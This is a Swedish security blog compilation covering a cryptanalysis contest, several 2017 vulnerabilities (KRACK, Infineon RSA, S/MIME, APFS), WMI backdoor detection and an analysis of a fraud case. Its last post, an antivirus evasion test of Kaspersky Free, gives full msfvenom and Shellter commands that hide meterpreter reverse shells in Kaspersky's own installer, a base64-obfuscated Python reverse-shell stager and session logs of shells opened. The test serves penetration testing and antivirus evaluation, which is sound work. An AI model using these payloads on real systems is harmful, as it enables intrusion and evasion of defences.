MUST och KTH anordnar tävling i kryptoanalys

Kungliga Tekniska högskolan (KTH) anordnar en tävling i kryptoanalys i samarbete med avdelningen för krypto och IT-säkerhet vid den militära underrättelse- och säkerhetstjänsten (MUST).

Information gällande tävlingen

Tävligen består av sex uppgifter i form av sex kryptotexter som skall forceras. I vissa uppgifter efterfrågas mer information än själva klartexten. Den första uppgiften är anslagen på KTHB. Resterande uppgifter är anslagna på olika platser på campus.

Respektive uppgifts lösning anger var nästa uppgift står att finna. Uppgifterna är således avsedda att lösas i ordning. Alla kryptotexter är skapade med elementära handchiffer. Uppgifterna är så utformade att kryptotexterna skall medge forcering även om det i vissa fall kan fordras en viss arbetsinsats och vissa kunskaper i kryptologi för att finna lösningen.

Härutöver krävs viss kunskap i det svenska språket.

Tävlingen pågår fram till och med kl. 23:59:59 den 13 november 2017.

För mer information se följande PDF:

Säkerhetsproblem i GPS-spårnings klockor för barn

GPS spårningsklockor för barn

Den norska fristående organisationen Forbrukerrådet (Norwegian Consumer Council) har gått ut och varnat för IT-säkerhetsbrister i flertalet spårningsklockor för barn. Fyra klockor har säkerhetstestats av företaget Mnemonic och tre innehöll allvarliga brister.

De fyra klockorna som testats är Gator 2, Tinitell, Viksfjord, samt Xplora.

Två av dessa klockor gjorde det möjligt för en angripare att spåra vart barnet är någonstans. Även så fann Mnemonic att funktioner för SOS-samtal och geofencing var opålitliga.

Avtal som ingås vid användning var oklara och funktioner för att radera kontot fanns ej. Enbart en klocka hade avtalstext gällande godkännande av insamling av data. Samt en app skickade GPS-koordinater i realtid okrypterat till Kina.

Följande tabell från rapporten sammanfattar vilka problem som är kopplade till vilken spårningsklocka:

Här kan du ladda hem rapporten samt varningen från Forbrukerrådet i sin helhet. Mnemonics rapport finns med längst ner som bilaga i watchout-rapporten:

Ny attack mot RSA 1024 samt 2048-bitar

RSA-nycklar som skapats med hårdvara från tillverkaren Infineon Technologies AG medger att en angripare kan genomföra faktoriseringsattacker. Och således återskapa den privata nyckeln från ett RSA-nyckelpar där enbart den publika RSA-nyckeln är känd. Attacken utnyttjar Coppersmith’s Attack där en låg exponent e används.

Kända användare av hårdvara från Infineon Technologies AG är bl.a. Estlands nationella ID-kort med smartcard.

The worst-case price of the factorization on an Amazon AWS c4 computation instance is $76 for the 1024-bit key and about $40,000 for the 2048-bit key.

Du kan testa om din publika RSA-nyckel är påverkad online eller offline:

Sårbarheten upptäcktes av slovakiska och tjeckiska säkerhetsforskare från Centrum för forskning om kryptografi och säkerhet vid Masaryk University, Tjeckien. Enigma Bridge Ltd, Cambridge, Storbritannien; och Ca ‘Foscari University of Venice, Italien.

Mer information nedan om CVE-2017-15361:

Källa: https://crocs.fi.muni.cz/public/papers/rsa_ccs17

WPA2 har blivit knäckt: KRACK

Denna artikel uppdateras löpande.

Uppdatering 4: Följande bild från forskningsrapporten sammanfattar attackerna mot klienter, ej AP:s (accesspunkter):

Uppdatering 3: Nu finns om forskningsrapporten om KRACK ute. Här kan du ladda hem den (pdf). Se även webbsidan krackattacks.com som nu ligger uppe

Uppdatering 2: US-CERT gått ut med följande förhandsinformation:

US-CERT has become aware of several key management vulnerabilities in the 4-way handshake of the Wi-Fi Protected Access II (WPA2) security protocol. The impact of exploiting these vulnerabilities includes decryption, packet replay, TCP connection hijacking, HTTP content injection, and others. Note that as protocol-level issues, most or all correct implementations of the standard will be affected. The CERT/CC and the reporting researcher KU Leuven, will be publicly disclosing these vulnerabilities on 16 October 2017.

En domän samt webbsida finns delvis uppe på https://www.krackattacks.com/ skärmdump från huvuden:

Uppdatering 1: Tillverkare såsom MikroTik och Ubiquiti (beta) har släppt uppdateringar. Kommentar från MikroTik:

It is important to note that the vulnerability is discovered in the protocol itself, so even a correct implementation is affected.

Vi har fått förhandsinformation om att en forskningsrapport kommer att släppas imorgon Måndag gällande att en minst en vital del av WPA2 har blivit knäckt.

Forskningen kommer att presenteras i en presentation samt rapport med titeln Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2. Och handlar troligtvis om en eller flera implementationsbrister i WPA2. Forskningen är utförd av Mathy Vanhoef samt Frank Piessens vid Katholieke Universiteit Leuven i Belgien.

Nedan skärmdump är från Usenix-konferensen 2016 där Mathy och Frank Piessens presenterade en tidigare forskningsrapport som troligtvis är relaterad till den attack(er) som kommer att presenteras imorgon. (se även pdf nedan).

Följande CVE är intressanta att följa: CVE-2017-13077, 13078, 13079, 13080, 13081, 13082, 13084, 13086, 13087, 13088 (källa)

Skärmdump från tidigare rapport:

Intressanta nya kryptobuggar

På senare tid har minst två intressanta kryptobuggar uppdagats. Den första som jag tycker var intressant är den som tyska SEC Consult uppdagade i Outlooks hantering av S/MIME.

The impact is that a supposedly S/MIME encrypted mail can be read without the private keys of the recipient

Denna krypto-bugg som drabbar Outlook har funnits i cirka 6 månader. Och förevisas rätt uppenbart med följande bild:

Den andra intressanta buggen är den som Apple introducerade i samband med att en krypterad disk uppgraderas från HFS+ till APFS eller skapas på nytt via Disk Utility. Där visas ditt riktiga lösenord som lösenordstips istället för själva tipset. Apple var som tur snabba och släppte en uppdatering. Även så passade Apple på att fixa KeyChain sårbarheten jag skrev om för några dagar sedan.

Buggen har CVE-2017-7149 och förevisas här av Matheus Mariano:

Tittar vi på koden så ser det ut att vara ett klassiskt kopiera-och-klistra problem:Bildkälla

Uppdatering: Microsoft har släppt en uppdatering och buggen har fått en CVE: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-11776

Tipstack till läsaren Mikael Thurberg.

 Säkerhetsåtgärder i macOS High Sierra 10.13

Idag släpptes en ny version av Apples operativsystem vid namn macOS High Sierra 10.13. Denna nya uppdatering innehåller flertalet säkerhetsuppdateringar som åtgärdar minst 22 olika sårbarheter.

Några exempel på intressanta brister som åtgärdas:

  • Ett återkallat certifikat kan vara bli betrott
  • Avsändaren av ett E-postmeddelande kan ta redan på mottagarens IP-adress om denne använder Apple Mail
  • Cure53 har identifierat 9 sårbarheter i ntp

Även så inkluderar High Sierra ett verktyg vid namn eficheck som körs veckovis för att kontrollera att ingen firmware har blivit modifierad i din Apple-dator.

Delar av macOS där säkerhetsbrister återfinnes är bl.a:

  • Application Firewall
  • AppSandbox
  • Captive Network Assistant
  • CFNetwork Proxies
  • CoreAudio
  • Directory Utility
  • file
  • Heimdal
  • IOFireWireFamily
  • Kernel
  • libc
  • libexpat
  • Mail

En intressant sårbarhet som återfinnes i denna uppdatering men som ännu ej åtgärdats är en typ av keychainStealer som före detta NSA-medarbetaren Patrick Wardle identifierat.

Denna sårbarhet medger att en app kan stjäla all data som lagras i din nyckelring (keychain):

https://twitter.com/patrickwardle/status/912254053849079808

Adobe exponerade sin privata PGP-nyckel

PSIRT-teamet på Adobe råkade av misstag publicera sin privata PGP-nyckel. Det var i samband med att Juho Nurminen från Finland skulle kontakta Adobes Product Security Incident Response Team och ville använda PGP som nyckelröjningen upptäcktes. När Juho gick in på sidan där Adobe publicerar sin publika nyckel låg där även den privata.

Tur i oturen så skapades nyckeln den 18:de September 2017 och har troligtvis inte används av allt för många.

Nyckeln revokerades dock av Adobe efter fyra dagar:

Att rotera sin PGP-nyckel är enligt god krypto-sed bra att genomföra eftersom PGP inte erbjuder forward secrecy.

Rotering gör exempelvis CERT-SE med sitt PGP-nyckelpar:

Intressant metod för att lägga in bakdörrar i Windows: WMI

Cyberattacker där angriparen nyttjar Windows Management Instrumentation (WMI) ökar successivt visar nya rapporter från antivirus-företag. Administratörsbehörigheter är nödvändiga för att installera en bakdörr via WMI men dessa bakdörrar är desto svårare att upptäcka.

Tittar vi på detektion när det gäller WMImplant.ps1 som är ett av flertalet implantat (bakdörr) utvecklat av Chris Tuncer så är antivirus-detektioner lika med noll i dagsläget påvisar VirusTotal:

Uppdatering: Sedan jag först skrev detta inlägg i April så kan nu Kaspersky och ZoneAlarm detektera WMImplant:

Det är även möjligt att lägga in en WMI-bakdörr direkt via Metasploit och powershell_import-kommandot (om du kör load powershell först). Då spelar inte antivirus-mjukvarans förmåga att upptäcka den statiska filen någon större roll.

Den som följer denna bloggen vet även att jag gillar open-source IOC-scannern Loki som har två signaturer som följer med som standard och kan detektera WMImplant:

Tittar vi historiskt när det gäller cyberattacker så förekommer WMI vid attacker såsom Stuxnet och Ghost. Även höll Matt Graeber en presentation vid konferensen BlackHat 2015 om WMI_Backdoor som länkas ovan.

Loggning av WMI-attacker

Den senaste uppdateringen av Sysmon 6.10 från Windows Sysinternals innehåller möjligheten att logga WMI-filter och konsumenter som installeras exempelvis:

This update to Sysmon, a background monitor that records activity to the event log for use in security incident detection and forensics, adds monitoring of WMI filters and consumers, an autostart mechanism commonly used by malware, and fixes a bug in image load filtering.

Detektion av WMI-attacker

Om du misstänker en attack där WMI varit inblandad eller om du utför Threat Hunting så är det viktigt att i efterhand söka upp spår efter intrång eller implantat.

Standard så loggar inte Windows WMI-event utan detta måste slås på manuellt med något som kallas för WMI Tracing (beroende på Windows-version).

Du kan även använda wevtutil för att slå på trace-loggar på följande sätt:

wevtutil.exe sl Microsoft-Windows-WMI-Activity/Trace /e:true

Även är följande indikatorer intressant att titta närmare på:

wmiprsve.exe som startar upp powershell.exe och exekverar obfuskerade kommandon såsom:

  • ‘Get-C`hildItem’
  • ‘Get-C`ommand’
  • ‘DI`R’
  • ‘L`S’
  • ‘Child`Item’
  • ‘Inv`oke-Ex`pression’
  • ‘IE`X’
  • ‘G`CI’
  • env:
  • ‘Co`mmand’

Samt:

<Anonymous Pipes> av PowerShell.exe

Analys av förundersökningsprotokollet från hackerhärvan

En hacker som skriver på ett tangentbord. Mycket avancerad hacker

Det senaste omtalade dataintrånget där fleratlet inblandade står åtalade har orsakat stor medial uppmärksamhet. Men hur avancerade var intrången och vilka metoder användes i hackerhärvan B 8322-16.

Förundersökningsprotokollet (FUP) innehåller mängder med olika åtalspunkter där många består i att skadlig kod har skickat i form av Word-filer där makron funnits bifogade. Dessa makron har sedan exekverat PowerShell-kod och efter detta har lösenord dumpats ut samt så har förflyttningar internt genomförts (lateral movements).

Vi kan utläsa att bl.a. den åtalade 37-åringen som varit ansvarig för dataintrången lagt ut uppdrag på sajten Freelancer.com för att få skadlig kod utvecklad.

Nedan skärmdump från Freelancer.com visar att 37-åringen vill ha en exploit utvecklad i C# för sårbarheten MS16-032 för ca 14 EUR vilket var det vinnande budet:

Denna exploit har sedan troligtvis används lokalt hos offren som fått Word-filer för att eskalera behörigheter, eftersom MS16-032 är en lokal sårbarhet.

Som kommunikation mellan personerna i ligan användes Jabber och enligt FUP:en så återfinns kortare utdrag av chatt-kommunikationen vilket indikerar på att historik lagrades eller frånvarande kryptering (hemlig telefonavlyssning av datatrafik).

Tittar vi på Github-sidan tillhörande 37-åringen så ser vi mängder med forkade repon som bl.a. innehåller PoshC2, laZange, Powershell-attacker samt lokala Windows-exploits.

Även återfinnes luckystrike som är ett verktyg för att skapa skadliga office-makron:

Som mail-tjänst användes bl.a. svenskutvecklade CounterMail. Jag kan även utläsa att flertalet olika BankID utnyttjats där man bl.a. kommit över någons SEB digipass för att sedan installera BankID på en iPad, detta för att komma åt bankkonton och ändra uppgifter hos Bolagsverket.

Falska snarlika domäner har registrerats där riktiga företaget har haft .se men bedragarna har registrerat .nu, även felstavningar av .se-domäner har registrerats och nyttjats för bedrägeri via E-post (falska intyg, pass osv).

Flertalet affärssystem har ändrats så att utbetalningsuppgifter går till bedragarna. Ett av affärssystemen som används var Microsoft Dynamics AX. De förekomster där bedragarna har blivit upptäckta är där manuella metoder varit inblandade och extra avstämningar har genomförts.

Slutsats

Min slutsats är att intrången inte var speciellt avancerade men utnyttjade det faktum att viss tillit finns mellan personer och företag och därmed användes social engineering.

Även har attackerna med tiden förfinats och blivit mer och mer avancerade. Av stor vikt är att monitorera exekveringar av PowerShell samt följ upp samtliga antivirus-larm i Er organisation.

Test av gratis anti-virus från Kaspersky

Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.

Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.

Allmänna synpunkter om Kaspersky Free

Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.

Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?

Test 1: Testvirus Eicar vs Kaspersky

Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.

När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).

Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.

Test 2: Powershell implantat vs Kaspersky

Nu börjar det bli lite mer avancerat. I detta test  tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.

PoshC2-implantat vs. Kaspersky

Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:

Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG.  Jag noterar också att den gratis IOC-skannern Loki detekterar detta.

Test 3: Metasploit vs Kaspersky

Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.

Jag använder msfvenom på följande sätt:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe

Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.

Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.

Detta var dock ingen match för Kaspersky att upptäcka:

Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443

Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.

Ser ut ungefär så här:

import base64,sys,socket,code,platform,shutil
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguOTkuMTAxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

Vilket motsvarar följande kod utan Base64-kodning:

import socket,struct,time
for x in range(10):
  try:
	s=socket.socket(2,socket.SOCK_STREAM)
	s.connect(('192.168.99.101',443))
	break
  except:
	time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
  while len(d)

När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:

[*] Sending stage (40747 bytes) to 192.168.99.100
[*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400
 msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > sysinfo
 Computer : IE11Win8_1
 OS : Windows 8.1 6.3.9600
 Architecture : x86
 Meterpreter : python/windows
 meterpreter >

Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vad VirusTotal säger om filen. 13 av 64 antivirus-motorer kan detektera  namnet på testet.

Test 4: Shellter vs Kaspersky

Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.

Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:

  • meterpreter_reverse_tcp
  • meterpreter_reverse_http
  • meterpreter_reverse_https
  • meterpreter_bind_tcp
  • shell_reverse_tcp
  • shell_bind_tcp
  • WinExec

Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:

  • Meterpreter_Reverse_WINHTTP
  • Meterpreter_Reverse_WINHTTPS
  • Shell_Reverse_TCP_DNS

Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.

 

Jag kör Kali Linux där jag installerat Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:

wine ShellterPro.exe -f ../kfa17.0.0.611abcsv_11811.exe -p meterpreter_reverse_tcp --lhost 192.168.99.101 --port 443 --encode --handler IAT --polyExtra --incSize 500 --Junk -s

Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.

Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:

[*] Sending stage (956991 bytes) to 192.168.99.100
[*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400

msf exploit(handler) >
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >

Laddar jag sedan upp denna testfil till VirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:

Slutsats

Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.

Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.

Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.